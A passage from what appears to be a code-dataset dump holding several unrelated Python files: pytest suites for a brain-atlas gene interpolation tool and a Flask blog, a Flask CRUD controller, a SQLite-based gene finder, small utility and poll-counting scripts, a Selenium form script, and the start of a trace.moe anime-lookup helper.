TestGeneInterpolate:\n def test_get_n_repeat(self):\n n_rep = [0, 0, 1, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4]\n for diff, n in enumerate(n_rep):\n assert GeneInterpolate.get_n_repeat(diff) == n\n\n @pytest.mark.parametrize(\n (\"left\", \"right\", \"n_repeat\", \"expected_output\"),\n [\n (10, 11, 0, []),\n (10, 20, 1, np.array([15])),\n (10, 12, 2, np.array([10.5, 11, 11.5])),\n (10, 18, 3, np.arange(11, 18)),\n (10, 15, 3, [10.625, 11.25, 11.875, 12.5, 13.125, 13.75, 14.375]),\n ],\n )\n def test_get_predicted_section_numbers(\n self, left, right, n_repeat, expected_output\n ):\n \"\"\"Check that predicted section numbers are good\"\"\"\n assert np.all(\n GeneInterpolate.get_predicted_section_numbers(left, right, n_repeat)\n == expected_output\n )\n\n @pytest.mark.parametrize(\n \"axis\",\n [\n \"coronal\",\n \"sagittal\",\n ],\n )\n @pytest.mark.parametrize(\"volume_shape\", [(30, 20, 40), (32, 18, 29)])\n @pytest.mark.parametrize(\"rgb\", [True, False])\n def test_predict_slice(self, axis, volume_shape, rgb):\n \"\"\"Check that one can predict one slice.\"\"\"\n if axis == \"coronal\":\n shape = (volume_shape[1], volume_shape[2])\n else:\n shape = (volume_shape[0], volume_shape[1])\n\n if rgb:\n volume_shape = (*volume_shape, 3)\n shape = (*shape, 3)\n\n gene_data = fake_gene_data(axis, shape, volume_shape)\n gene_interpolate = GeneInterpolate(gene_data, FakeModel())\n prediction = gene_interpolate.predict_slice(5)\n assert isinstance(prediction, np.ndarray)\n assert np.all(prediction.shape == shape)\n\n # Slice to predict is < first known gene slice, copy the first one\n assert np.all(gene_interpolate.predict_slice(5) == np.ones(shape) * 1)\n # Slice to predict is > last known gene slice, copy the last one\n assert np.all(gene_interpolate.predict_slice(100) == np.ones(shape) * 3)\n # Result of the first iteration\n assert np.all(gene_interpolate.predict_slice(14) == np.ones(shape) * 1.5)\n # Result of the second iteration\n assert np.all(gene_interpolate.predict_slice(12) == np.ones(shape) * 1.25)\n assert np.all(gene_interpolate.predict_slice(16) == np.ones(shape) * 1.75)\n # Result of the third iteration\n assert np.all(gene_interpolate.predict_slice(11) == np.ones(shape) * 1.125)\n assert np.all(gene_interpolate.predict_slice(17) == np.ones(shape) * 1.875)\n\n @pytest.mark.parametrize(\n \"axis\",\n [\n \"coronal\",\n \"sagittal\",\n ],\n )\n @pytest.mark.parametrize(\"volume_shape\", [(30, 20, 40), (32, 18, 29)])\n @pytest.mark.parametrize(\"rgb\", [True, False])\n def test_get_all_predictions(self, axis, volume_shape, rgb):\n \"\"\"Check that one can predict entire volume.\"\"\"\n if axis == \"coronal\":\n shape = (volume_shape[1], volume_shape[2])\n else:\n shape = (volume_shape[0], volume_shape[1])\n\n if rgb:\n volume_shape = (*volume_shape, 3)\n shape = (*shape, 3)\n\n gene_data = fake_gene_data(axis, shape, volume_shape)\n gene_interpolate = GeneInterpolate(gene_data, FakeModel())\n (\n all_interpolated_images,\n all_predicted_section_numbers,\n ) = gene_interpolate.get_all_interpolation()\n assert isinstance(all_interpolated_images, np.ndarray)\n assert isinstance(all_predicted_section_numbers, np.ndarray)\n assert np.all(all_predicted_section_numbers.shape == (14,))\n # 14 = 2 intervals * 7 interpolated images per interval\n assert np.all(all_interpolated_images.shape == (14, *shape))\n\n @pytest.mark.parametrize(\n \"axis\",\n [\n \"coronal\",\n \"sagittal\",\n ],\n )\n @pytest.mark.parametrize(\"volume_shape\", [(30, 20, 40), (32, 18, 29)])\n @pytest.mark.parametrize(\"rgb\", [True, False])\n def test_predict_volume(self, axis, volume_shape, rgb):\n \"\"\"Check that one can predict entire volume.\"\"\"\n if axis == \"coronal\":\n shape = (volume_shape[1], volume_shape[2])\n else:\n shape = (volume_shape[0], volume_shape[1])\n\n if rgb:\n volume_shape = (*volume_shape, 3)\n shape = (*shape, 3)\n\n gene_data = fake_gene_data(axis, shape, volume_shape)\n gene_interpolate = GeneInterpolate(gene_data, FakeModel())\n predicted_volume = gene_interpolate.predict_volume()\n assert isinstance(predicted_volume, np.ndarray)\n assert predicted_volume.dtype == \"float32\"\n assert np.all(predicted_volume.shape == volume_shape)\n\n if axis == \"sagittal\":\n if rgb:\n predicted_volume = np.transpose(predicted_volume, (2, 0, 1, 3))\n else:\n predicted_volume = np.transpose(predicted_volume, (2, 0, 1))\n\n assert np.all(np.unique(predicted_volume[0:10]) == np.array([1]))\n assert np.all(predicted_volume[36:] == np.array([3]))\n\n gene_interpolate = GeneInterpolate(\n gene_data, FakeModel(), border_predictions=False\n )\n predicted_volume = gene_interpolate.predict_volume()\n\n if axis == \"sagittal\":\n if rgb:\n predicted_volume = np.transpose(predicted_volume, (2, 0, 1, 3))\n else:\n predicted_volume = np.transpose(predicted_volume, (2, 0, 1))\n\n assert np.all(np.unique(predicted_volume[0:10]) == np.array([0]))\n assert np.all(predicted_volume[36:] == np.array([0]))\n\n def test_predict_volume_wrong_axis(self):\n\n gene_data = GeneDataset(\n np.zeros([1, 10, 10, 3]), [], \"fake_axis\", (10, 10, 10, 3)\n )\n gene_interpolate = GeneInterpolate(gene_data, FakeModel())\n with pytest.raises(ValueError):\n _ = gene_interpolate.predict_volume()\n","repo_name":"BlueBrain/atlas-interpolation","sub_path":"tests/test_pair_interpolation.py","file_name":"test_pair_interpolation.py","file_ext":"py","file_size_in_byte":10995,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72111145869","text":"import pytest\n\nfrom flaskr import db\nfrom flaskr.auth.models import User\nfrom flaskr.blog.models import Post\n\n\ndef test_index(client, auth):\n text = client.get(\"/\").text\n assert \"Log In\" in text\n assert \"Register\" in text\n\n auth.login()\n text = client.get(\"/\").text\n assert \"test title\" in text\n assert \"by test on 2018-01-01\" in text\n assert \"test\\nbody\" in text\n assert 'href=\"/1/update\"' in text\n\n\n@pytest.mark.parametrize(\"path\", (\"/create\", \"/1/update\", \"/1/delete\"))\ndef test_login_required(client, path):\n response = client.post(path)\n assert response.headers[\"Location\"] == \"/auth/login\"\n\n\ndef test_author_required(app, client, auth):\n # change the post author to another user\n with app.app_context():\n db.session.get(Post, 1).author = db.session.get(User, 2)\n db.session.commit()\n\n auth.login()\n # current user can't modify other user's post\n assert client.post(\"/1/update\").status_code == 403\n assert client.post(\"/1/delete\").status_code == 403\n # current user doesn't see edit link\n assert 'href=\"/1/update\"' not in client.get(\"/\").text\n\n\n@pytest.mark.parametrize(\"path\", (\"/2/update\", \"/2/delete\"))\ndef test_exists_required(client, auth, path):\n auth.login()\n assert client.post(path).status_code == 404\n\n\ndef test_create(client, auth, app):\n auth.login()\n assert client.get(\"/create\").status_code == 200\n client.post(\"/create\", data={\"title\": \"created\", \"body\": \"\"})\n\n with app.app_context():\n select = db.select(db.func.count(Post.id))\n post_count = db.session.execute(select).scalar()\n assert post_count == 2\n\n\ndef test_update(client, auth, app):\n auth.login()\n assert client.get(\"/1/update\").status_code == 200\n client.post(\"/1/update\", data={\"title\": \"updated\", \"body\": \"\"})\n\n with app.app_context():\n assert db.session.get(Post, 1).title == \"updated\"\n\n\n@pytest.mark.parametrize(\"path\", (\"/create\", \"/1/update\"))\ndef test_create_update_validate(client, auth, path):\n auth.login()\n response = client.post(path, data={\"title\": \"\", \"body\": \"\"})\n assert \"Title is required.\" in response.text\n\n\ndef test_delete(client, auth, app):\n auth.login()\n response = client.post(\"/1/delete\")\n assert response.headers[\"Location\"] == \"/\"\n\n with app.app_context():\n assert db.session.get(Post, 1) is None\n","repo_name":"pallets-eco/flask-sqlalchemy","sub_path":"examples/flaskr/tests/test_blog.py","file_name":"test_blog.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","stars":4093,"dataset":"github-code","pt":"82"} +{"seq_id":"7632898796","text":"from flask import Blueprint, render_template, redirect, abort, url_for\nfrom common.services import DatabaseStorate as Storage\nfrom .forms import CreateUpdate\n\nclients = Blueprint(\n 'clients',\n __name__,\n template_folder='../../views/modules/clients'\n)\n\n\n@clients.route('/', methods=['GET'])\ndef index():\n items = Storage.clients.all()\n return render_template('index.html', title=' Клиенты', items=items)\n\n\n@clients.route('/add', methods=['GET', 'POST'])\ndef create():\n form = CreateUpdate(Storage)\n if form.save():\n return redirect(url_for('backend.clients.index'))\n return render_template('form.html', title='Добавление клиента', form=form)\n\n\n@clients.route('/edit/', methods=['GET', 'POST'])\ndef update(id):\n item = Storage.clients.find_by_id(id)\n if not item:\n abort(404, message='Запись с данным ID не найдена')\n form = CreateUpdate(Storage, data=item.to_dict)\n if form.save():\n return redirect(url_for('backend.clients.index'))\n return render_template('form.html', title=' Изменение данных коиента', form=form)\n\n\n@clients.route('/delete/', methods=['GET'])\ndef delete(id):\n item = Storage.clients.find_by_id(id)\n if not item:\n abort(404, message='Запись с данным ID не найдена')\n Storage.clients.delete(item)\n return redirect(url_for('backend.clients.index'))\n\n","repo_name":"Gystof/test","sub_path":"application/backend/modules/clients/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16261401891","text":"#!/usr/bin/env python\r\n\r\n#===============================================================================\r\n# This file is part of the Snipper program. \r\n# \r\n# Copyright (C) 2010 Ryan Welch\r\n# \r\n# Snipper is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation, either version 3 of the License, or\r\n# (at your option) any later version.\r\n# \r\n# Snipper is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n# \r\n# You should have received a copy of the GNU General Public License\r\n# along with this program. If not, see .\r\n#===============================================================================\r\n\r\nimport os\r\nimport sys\r\nimport warnings\r\nimport shelve\r\nimport cPickle\r\nimport intersection\r\nimport sqlite3\r\nimport pdb\r\nfrom constants import *\r\nfrom gene import *\r\nfrom settings import *\r\nfrom util import *\r\n\r\n# Finding genes near SNPs.\r\nclass GeneFinder:\r\n def __init__(self):\r\n self.genes = dict();\r\n self.nearest_genes = dict();\r\n \r\n def addGene(self,gene,snp_or_region,dist,updown,chr,txStart,txEnd):\r\n # Add info to our internal tree. \r\n node = self.genes.setdefault(gene,{}).setdefault(snp_or_region,{});\r\n node['dist'] = dist;\r\n node['updown'] = updown;\r\n node['txStart'] = txStart;\r\n node['txEnd'] = txEnd;\r\n node['chr'] = chr;\r\n\r\n # Get the distance to nearest SNP (seen so far.) \r\n nearest = self.nearest_genes.setdefault(gene,None);\r\n \r\n # Figure out if this SNP is closer than any seen previously. \r\n if nearest == None or dist < nearest:\r\n self.nearest_genes[gene] = dist;\r\n\r\n # Returns a sorted list of genes by their distance to the nearest SNP. \r\n def getGenesByNearest(self):\r\n return sorted(self.nearest_genes,key=lambda x: self.nearest_genes[x]);\r\n\r\n def loadGeneDB(self):\r\n # Now, load them with their SNP data. \r\n for gene in self.genes:\r\n for thing in self.genes[gene]:\r\n node = self.genes[gene][thing];\r\n g = Gene.valueOf(gene);\r\n if isinstance(thing,ChromRegion):\r\n g.addRegion(thing,node['updown']);\r\n else:\r\n g.addSNP(\r\n thing,\r\n node['dist'],\r\n node['updown']\r\n );\r\n\r\n def find(self,snps,dist,num):\r\n raise NotImplementedError;\r\n\r\nclass SQLiteGeneFinder(GeneFinder):\r\n def __init__(self,db_file):\r\n GeneFinder.__init__(self);\r\n \r\n self.db_file = db_file;\r\n\r\n # Connect to database file. \r\n try:\r\n self.db_con = sqlite3.connect(db_file);\r\n except:\r\n print >> sys.stderr, (\"Error: could not connect to SQLite database. \"\r\n \"Check permissions on the file: %s \" % db_file);\r\n raise;\r\n \r\n # Insert \"if\" function for sqlite (I can't believe they don't have this!) \r\n def sql_if(cond,true,false):\r\n if cond:\r\n return true;\r\n else:\r\n return false;\r\n \r\n self.db_con.create_function(\"if\",3,sql_if);\r\n \r\n def sql_sign(x):\r\n if x > 0:\r\n return 1;\r\n elif x < 0:\r\n return -1;\r\n else:\r\n return 0;\r\n \r\n self.db_con.create_function(\"sign\",1,sql_sign);\r\n \r\n def sql_least(*args):\r\n return min(args);\r\n \r\n self.db_con.create_function(\"least\",-1,sql_least);\r\n \r\n def getPos(self,gene_symb):\r\n statement = \"\"\"\r\n select \r\n geneName,\r\n chrom,\r\n min(txStart) as txStart,\r\n max(txEnd) as txEnd \r\n from refFlat \r\n where \r\n geneName='%(gene)s' and \r\n chrom not like \"%%\\_%%\" escape '\\\\' \r\n group by geneName\r\n \"\"\" % { \r\n 'gene' : gene_symb\r\n };\r\n \r\n cursor = self.db_con.execute(statement);\r\n \r\n chrom = None;\r\n txStart = None;\r\n txEnd = None;\r\n while 1:\r\n row = cursor.fetchone();\r\n if row == None:\r\n break;\r\n \r\n chrom = row[1];\r\n txStart = row[2];\r\n txEnd = row[3];\r\n \r\n return (chrom,txStart,txEnd);\r\n \r\n def findRegions(self,regions):\r\n for region in regions:\r\n statement = \"\"\"\r\n SELECT\r\n g.geneName as gene,\r\n g.chrom as chrom,\r\n g.strand as strand,\r\n min(g.txStart) as txStart,\r\n max(g.txEnd) as txEnd\r\n FROM\r\n %(gene_table)s g\r\n WHERE\r\n g.chrom = '%(chr)s'\r\n AND g.txEnd > %(rstart)s AND g.txStart < %(rend)s\r\n GROUP BY g.geneName\r\n \"\"\" % {\r\n 'chr' : region.get_chrom(),\r\n 'rstart' : region.start,\r\n 'rend' : region.end,\r\n 'gene_table' : SQLITE_REFFLAT\r\n };\r\n\r\n warnings.simplefilter(\"ignore\");\r\n\r\n # Parse result.\r\n cursor = self.db_con.execute(statement);\r\n\r\n warnings.resetwarnings();\r\n\r\n # Did we find any results?\r\n if cursor.rowcount == 0:\r\n print >> sys.stderr, \"Warning: could not find genes near SNP %s..\" % snp;\r\n\r\n while 1:\r\n row = cursor.fetchone();\r\n if row == None:\r\n break;\r\n\r\n gene = row[0];\r\n chr = row[1];\r\n txStart = row[3];\r\n txEnd = row[4];\r\n \r\n if region.start > txStart and region.end < txEnd:\r\n direction = \"within gene\";\r\n else:\r\n direction = \"overlaps gene endpoint\";\r\n\r\n self.addGene(gene,region,0,direction,chr,txStart,txEnd);\r\n \r\n def find1000G(self,snps,dist,num):\r\n for snp in snps:\r\n (chr,pos) = parse1000G(snp);\r\n if chr == None or pos == None:\r\n continue;\r\n \r\n chr = chrom2ucsc(chr); # ucsc chrom format\r\n \r\n statement = \"\"\"\r\n SELECT\r\n g.geneName as nearest_gene,\r\n g.strand as strand,\r\n min(if(sign(g.txEnd - %(pos)i) * sign(g.txStart+1 - %(pos)i) <= 0,0,least(abs(g.txEnd - %(pos)i), abs(g.txStart+1 - %(pos)i)))) as dist_to_gene,\r\n min(if(%(pos)i BETWEEN txStart+1 and txEnd, 'within',if((%(pos)i < txStart and g.strand='+') or (%(pos)i > txEnd and g.strand='-'),\r\n 'upstream',\r\n 'downstream'))) as direction,\r\n min(g.txStart) as txStart,\r\n max(g.txEnd) as txEnd\r\n FROM\r\n %(gene_table)s g\r\n WHERE\r\n g.chrom = \"%(chr)s\"\r\n and g.txEnd >= %(pos)i - %(radius)s\r\n and g.txStart < %(pos)i + %(radius)s\r\n GROUP BY g.geneName\r\n ORDER BY dist_to_gene\r\n LIMIT %(limit)s\r\n \"\"\" % {\r\n 'chr' : chr,\r\n 'pos' : pos,\r\n 'radius' : str(dist), \r\n 'limit' : str(num), \r\n 'gene_table' : SQLITE_REFFLAT\r\n };\r\n\r\n warnings.simplefilter(\"ignore\");\r\n\r\n # Parse result.\r\n cursor = self.db_con.execute(statement);\r\n\r\n warnings.resetwarnings();\r\n\r\n # Did we find any results?\r\n if cursor.rowcount == 0:\r\n print >> sys.stderr, \"Warning: could not find genes near SNP %s..\" % snp;\r\n\r\n while (1):\r\n row = cursor.fetchone();\r\n if row == None:\r\n break;\r\n\r\n gene = row[0];\r\n dist_to_gene = row[2];\r\n direction = row[3];\r\n txStart = row[4];\r\n txEnd = row[5];\r\n\r\n self.addGene(gene,snp,dist_to_gene,direction,str(chr),txStart,txEnd);\r\n \r\n def find(self,snps,dist,num):\r\n for snp in snps:\r\n statement = \"\"\"\r\n SELECT\r\n a.snp,\r\n a.chr,\r\n a.pos,\r\n g.geneName as nearest_gene,\r\n g.strand as strand,\r\n min(if(sign(g.txEnd - a.pos) * sign(g.txStart+1 - a.pos) <= 0,0,least(abs(g.txEnd - a.pos), abs(g.txStart+1 - a.pos)))) as dist_to_gene,\r\n min(if(pos BETWEEN txStart+1 and txEnd, 'within',if((pos < txStart and g.strand='+') or (pos > txEnd and g.strand='-'),\r\n 'upstream',\r\n 'downstream'))) as direction,\r\n min(g.txStart) as txStart,\r\n max(g.txEnd) as txEnd\r\n FROM\r\n %(snp_table)s a,\r\n %(gene_table)s g\r\n WHERE\r\n a.snp = \"%(snp)s\"\r\n and g.chrom = a.chr\r\n and g.txEnd >= a.pos - %(radius)s\r\n and g.txStart < a.pos + %(radius)s\r\n GROUP BY a.snp,g.geneName\r\n ORDER BY a.snp,dist_to_gene\r\n LIMIT %(limit)s\r\n \"\"\" % {\r\n 'snp' : snp, \r\n 'radius' : str(dist), \r\n 'limit' : str(num), \r\n 'snp_table' : SQLITE_SNP_POS, \r\n 'gene_table' : SQLITE_REFFLAT\r\n };\r\n\r\n warnings.simplefilter(\"ignore\");\r\n\r\n # Parse result.\r\n cursor = self.db_con.execute(statement);\r\n\r\n warnings.resetwarnings();\r\n\r\n # Did we find any results?\r\n if cursor.rowcount == 0:\r\n print >> sys.stderr, \"Warning: could not find genes near SNP %s..\" % snp;\r\n\r\n while (1):\r\n row = cursor.fetchone();\r\n if row == None:\r\n break;\r\n\r\n # 0 - SNP\r\n # 1 - chrom\r\n # 3 - gene\r\n # 4 - strand\r\n # 5 - distance\r\n # 6 - direction\r\n row_snp = row[0];\r\n chr = row[1];\r\n gene = row[3];\r\n dist_to_gene = row[5];\r\n direction = row[6];\r\n txStart = row[7];\r\n txEnd = row[8];\r\n\r\n self.addGene(gene,row_snp,dist_to_gene,direction,chr,txStart,txEnd);\r\n\r\n#class FlatGeneFinder(GeneFinder):\r\n# def __init__(self,snp_db,gene_file):\r\n# GeneFinder.__init__(self);\r\n#\r\n# self.snpdb = None;\r\n# self.gene_tree = None;\r\n# \r\n# # Load SNP position database, and gene interval tree files. \r\n# # Both of these must be constructed using the setup.py script found in /bin. \r\n# \r\n# if not os.path.isfile(snp_db):\r\n# raise ValueError, \"Cannot find SNP database file: %s\" % snp_db;\r\n# \r\n# if not os.path.isfile(gene_file):\r\n# raise ValueError, \"Cannot find gene database file: %s\" % gene_file; \r\n# \r\n# self._load_snpdb(snp_db);\r\n# self._load_gene_tree(gene_file);\r\n#\r\n# def _load_snpdb(self,dbfile):\r\n# self.snpdb = shelve.open(dbfile);\r\n# \r\n# def _load_gene_tree(self,gene_file):\r\n# self.gene_tree = cPickle.load(open(gene_file,\"rb\"));\r\n# \r\n# def __del__(self):\r\n# if self.snpdb != None:\r\n# self.snpdb.close();\r\n#\r\n# def _region_lookup(self,region):\r\n# chr = region.chr;\r\n# start = region.start;\r\n# end = region.end;\r\n# \r\n# node = self.gene_tree.get(chr2ucsc(chr));\r\n# if node == None:\r\n# return;\r\n#\r\n# # Genes on positive strand. \r\n# overlaps = node['+'].find(start,end);\r\n# for gene in overlaps:\r\n# updown = None;\r\n# dist = None;\r\n#\r\n# if gene.start < start and gene.end > start:\r\n# dist = 0;\r\n# updown = \"overlapping-endpoint\";\r\n# elif gene.start < end and gene.end > end:\r\n# dist = 0;\r\n# updown = \"completely-overlapping\";\r\n# elif gene.start > start and gene.end < end:\r\n# dist = 0;\r\n# updown = \"completely-contained\";\r\n# elif gene.start > start and gene.end > end:\r\n# dist = 0;\r\n# updown = \"overlapping-endpoint\";\r\n#\r\n# self.addGene(gene.value,region,dist,updown);\r\n#\r\n# # Genes on negative strand. \r\n# overlaps = node['-'].find(start,end);\r\n# for gene in overlaps:\r\n# updown = None;\r\n# dist = None;\r\n#\r\n# if gene.start < start and gene.end > start:\r\n# dist = 0;\r\n# updown = \"overlapping-endpoint\";\r\n# elif gene.start < end and gene.end > end:\r\n# dist = 0;\r\n# updown = \"completely-overlapping\";\r\n# elif gene.start > start and gene.end < end:\r\n# dist = 0;\r\n# updown = \"completely-contained\";\r\n# elif gene.start > start and gene.end > end:\r\n# dist = 0;\r\n# updown = \"overlapping-endpoint\";\r\n#\r\n# self.addGene(gene.value,region,dist,updown);\r\n#\r\n# def _gene_lookup(self,snp,chr,pos,dist,num):\r\n# results = [];\r\n# \r\n# node = self.gene_tree.get(chr);\r\n# if node == None:\r\n# return;\r\n#\r\n# # Genes on positive strand. \r\n# overlaps = node['+'].find(pos-dist,pos+dist);\r\n# for gene in overlaps:\r\n# updown = None;\r\n# dist = None;\r\n#\r\n# if gene.start < pos and gene.end > pos:\r\n# dist = 0;\r\n# updown = 'within';\r\n# elif pos > gene.end:\r\n# dist = pos - gene.end;\r\n# updown = 'downstream';\r\n# else:\r\n# dist = gene.start - pos;\r\n# updown = 'upstream';\r\n#\r\n# results.append( (dist,updown,gene.value) );\r\n#\r\n# # Genes on negative strand. \r\n# overlaps = node['-'].find(pos-dist,pos+dist);\r\n# for gene in overlaps:\r\n# updown = None;\r\n# dist = None;\r\n#\r\n# if gene.start < pos and gene.end > pos:\r\n# dist = 0;\r\n# updown = 'within';\r\n# elif pos > gene.end:\r\n# dist = pos - gene.end;\r\n# updown = 'upstream';\r\n# else:\r\n# dist = gene.start - pos;\r\n# updown = 'downstream';\r\n#\r\n# results.append( (dist,updown,gene.value) );\r\n#\r\n# results = sorted(results);\r\n# if num > len(results):\r\n# num = len(results);\r\n#\r\n# for i in xrange(num):\r\n# self.addGene(results[i][2],snp,results[i][0],results[i][1]);\r\n# \r\n# def find(self,snps,dist,num):\r\n# for snp in snps:\r\n# result = self.snpdb.get(snp);\r\n# if result != None:\r\n# (chr,pos) = result;\r\n# self._gene_lookup(snp,chr,pos,dist,num);\r\n# else:\r\n# print >> sys.stderr, \"Warning: could not find position for SNP %s in database..\" % snp; \r\n# \r\n# def findRegions(self,regions):\r\n# for region in regions:\r\n# self._region_lookup(region);\r\n \r\n","repo_name":"welchr/snipper","sub_path":"src/genefinder.py","file_name":"genefinder.py","file_ext":"py","file_size_in_byte":13692,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"4145544961","text":"# -*- coding: utf-8 -*-\nimport sys\nfrom hashlib import md5\nimport collections\nimport configparser\nimport os\nfrom pprint import pprint\nfrom utils.pretty_print import *\n\n\n\ndef create_hash_file(db, k_ep):\n if not os.path.exists(db['common']['directories']['hashes']):\n os.makedirs(db['common']['directories']['hashes'])\n\n hash_log_file = os.path.join(db['common']['directories']['hashes'],\n \"%s_hash.ini\" % (k_ep))\n\n if os.path.exists(hash_log_file):\n config_filter_hash = configparser.ConfigParser(dict_type=collections.OrderedDict)\n config_filter_hash.read(hash_log_file)\n else:\n config_filter_hash = configparser.ConfigParser(dict(), collections.OrderedDict)\n\n k_section = 'md5'\n if not config_filter_hash.has_section(k_section):\n config_filter_hash[k_section] = dict()\n\n with open(hash_log_file, 'w') as config_file:\n config_filter_hash.write(config_file)\n\n return hash_log_file\n\n\n\ndef log_filter(filter_str, hash_log_file):\n \"\"\"Add the filter to the db and returns the short hash code\"\"\"\n hash = calculate_hash(filter_str=filter_str)\n\n config_filter_hash = configparser.ConfigParser(dict_type=collections.OrderedDict)\n config_filter_hash.read(hash_log_file)\n\n k_section = 'md5'\n if not config_filter_hash.has_option(k_section, hash):\n config_filter_hash.set(k_section, hash, \"\\\"%s\\\"\" % (filter_str))\n with open(hash_log_file, 'w') as config_file:\n config_filter_hash.write(config_file)\n return hash\n\n\ndef calculate_hash_for_replace(shot):\n if len(shot['replace']) == 0:\n # No replacement\n return ''\n\n replace_str = \"\"\n for k, v in shot['replace'].items():\n replace_str += \"%s:%s,\" % (k, v)\n hash = calculate_hash(filter_str=replace_str)\n return hash\n\n\ndef calculate_hash(filter_str):\n return md5(filter_str.encode('utf-8')).hexdigest()[:7]\n\n\n\ndef get_hash_from_task(shot, task):\n __task = 'geometry' if task == 'final' else task\n for f in shot['filters']:\n if __task == f['task']:\n return f['hash']\n\n pprint(shot['filters'])\n print_red(\"Error: get_hash_from_step: [%s] not found\" % (task))\n return None\n\n\ndef get_hash_from_last_task(shot):\n return get_hash_from_task(shot, shot['last_task'])\n\n","repo_name":"JepEtau/mco","sub_path":"scripts/processing_chain/hash.py","file_name":"hash.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38719063341","text":"#Library\nimport os\nimport csv\nimport collections as ct\nfrom collections import Counter\n\n# Lists to store data\nrow_count = 0\ninput = [ ]\nvotes = {}\n\n# Path to collect data\nelection_csv = os.path.join ('Resources','election_data.csv')\n\n# Open the csv \nwith open (election_csv, newline=\"\") as csvfile:\n reader = csv.reader (csvfile, delimiter = \",\")\n \n # Read the header row first\n votes = ct.Counter()\n print(votes)\n header = next(reader)\n for row in reader:\n row_count += 1\n # Count the total number of votes each candidate won\n if row[2] not in input:\n input.append(row[2])\n votes[str(row[2])]=[1]\n else:\n votes[str(row[2])][0]+=1\n\n#Sort the winner of the election based on popular vote\n num_of_votes=0\n for key in votes.keys():\n if int(votes[key][0]) > num_of_votes:\n num_of_votes=int(votes[key][0])\n winner_name=key\n\n #Count the percentage of votes each candidate won\n total_vote=sum([i[0] for i in votes.values()])\n for name in input:\n if name in votes:\n percentage_of_vote='{:.3%}'.format(float(votes[str(name)][0]/total_vote))\n votes[str(name)].append(percentage_of_vote)\n\n #print info and write to a new text file\n with open(\"PyPoll_result.txt\",\"w\") as output_file:\n #first two lines\n title='Election Results \\n'+\"-\"*30+\"\\n\"+\"Total Votes: \"+str(total_vote)+\"\\n\"+\"-\"*30+\"\\n\"\n print(title)\n output_file.write(title)\n for name in input:\n #candidate info\n candidate_info=name+\": \"+str(votes[str(name)][1])+\" (\"+str(votes[str(name)][0])+\")\"+\"\\n\"\n print(candidate_info)\n output_file.write(candidate_info)\n #winner info\n Winner=\"-\"*30+\"\\n\"+\"Winner: \"+winner_name+\"\\n\"+\"-\"*30\n print(Winner)\n output_file.write(Winner)\n\n\n\n","repo_name":"Maryamlaine/Python_Challenge","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26263451346","text":"from selenium import webdriver\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver import Keys\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nimport unittest\nfrom faker import Faker\nimport time\n\nfaker_class = Faker()\n\nfake = Faker()\noptions = webdriver.ChromeOptions()\noptions.headless = True\ndriver = webdriver.Chrome(options=options)\n\ndriver.get(\"https://qasvus.wordpress.com\")\ndriver.maximize_window()\ntry:\n assert driver.title == \"California Real Estate\"\nexcept AssertionError:\n print(\"Title is different.Current title is:\", driver.title)\nprint(driver.current_url)\ndriver.implicitly_wait(5)\n\ndriver.find_element(By.ID, 'send-us-a-message')\ndriver.find_element(By.ID, 'g2-name').send_keys('Gulya')\ndriver.find_element(By.ID, 'g2-email').send_keys('Gul@gmail.com')\ndriver.find_element(By.ID, 'contact-form-comment-g2-message').send_keys('Hello')\ndriver.find_element(By.TAG_NAME, 'body').send_keys(Keys.PAGE_DOWN)\ntime.sleep(3)\ndriver.find_element(By.CLASS_NAME, 'pushbutton-wide').click()\ndriver.find_element(By.CLASS_NAME, 'link').click()\nbutton_type = driver.find_element(By.CLASS_NAME, 'pushbutton-wide')\nprint(type(button_type))\ndriver.close()","repo_name":"MaxxPetrov/MaxxPetrov","sub_path":"Headless.py","file_name":"Headless.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8420342408","text":"import requests\nimport urllib.parse\n\ndef trace_moe(url: str):\n results = requests.get(\"https://api.trace.moe/search?url={}\"\n .format(urllib.parse.quote_plus(url))).json()\n if (results['error'] != ''):\n return {'error': results['error']}\n result = results[\"result\"][0]\n anilist_id = result['anilist']\n #从anilist获取信息\n result['info'] = anilist_info(int(anilist_id))\n result['anilist'] = f'https://anilist.co/anime/{result[\"anilist\"]}'\n #计算时间\n result['from'] = f'{int(result[\"from\"] // 60)}m{int(result[\"from\"] % 60)}s'\n result['to'] = f'{int(result[\"to\"] // 60)}m{int(result[\"to\"] % 60)}s'\n #{'info': {'cover':, 'native_name':, 'romaji_name':}, 'anilist':, 'filename':, \n #'episode':, 'from':, 'to':, 'similarity':, 'video':, 'image': ''}\n return result\n\ndef anilist_info(id: int):\n base_url = 'https://graphql.anilist.co'\n query = '''\n query ($id: Int) { # Define which variables will be used in the query (id)\n Media (id: $id, type: ANIME) { # Insert our variables into the query arguments (id) (type: ANIME is hard-coded in the query)\n coverImage {large}\n title {\n romaji\n native\n }\n }\n }\n '''\n variables = {'id': id}\n result = requests.post(base_url, json={'query': query, 'variables': variables}).json()\n return {'cover': result['data']['Media']['coverImage']['large'], 'native_name': result['data']['Media']['title']['native'], 'romaji_name': result['data']['Media']['title']['romaji']}\n\ndef waifu_pics(type: str, category: str):\n types = ['sfw', 'nsfw']\n categories = {}\n categories['sfw'] = ['waifu', 'neko', 